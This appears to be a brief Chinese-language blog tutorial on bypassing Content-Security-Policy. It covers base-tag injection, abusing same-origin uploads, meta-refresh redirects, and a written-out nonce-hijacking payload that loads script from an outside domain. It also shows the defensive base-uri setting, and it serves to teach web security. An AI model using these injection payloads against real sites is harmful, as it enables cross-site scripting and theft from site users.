先來介紹一下 <base>
<head>
內才有效情境 1
我們今天插入一個 <base href='惡意連結'>
那是不是超連結預設網址會被改變
那我們也可以改變載入的域名,引入惡意的 javascript
CSP 可以讓我們設定 base-uri 域名限定在自己身上<meta http-equiv="Content-Security-Policy" content="base-uri 'self'">
情境 2
「如果今天這個網站他 CSP 設定寫了一個只限定自己域名,那我們要怎麼繞過。」
首先複習一下限定自己的域名的設定大概是Content-Security-Policy: default-src 'self'; script-src 'self'
那我們就找看看這個網站裡面有沒有可以上傳的地方,然後取的上傳之後的路徑
就有相同的域名檔案了 ! 這時候再來繼續做檢測~
我們也可以利用 meta 中的屬性繞過<meta http-equiv="refresh" content="1;url=惡意網址" >
情境 3
exContent-Security-Policy: script-src 'nonce-asafjo309492104oekf'
<script nonce=asafjo309492104oekf>
// code
</script>
以上範例才會執行
舉個範例
<p>使用者可以輸入的內容</p>
<script src="OOOOO" nonce="aabbccddee"></script>
這時候攻擊者輸入<script src=http://feifei.com.tw a="
<p><script src=http://feifei.com.tw a="</p><script" src="OOOOO" nonce="aabbccddee"></script>
<script"
被瀏覽器補全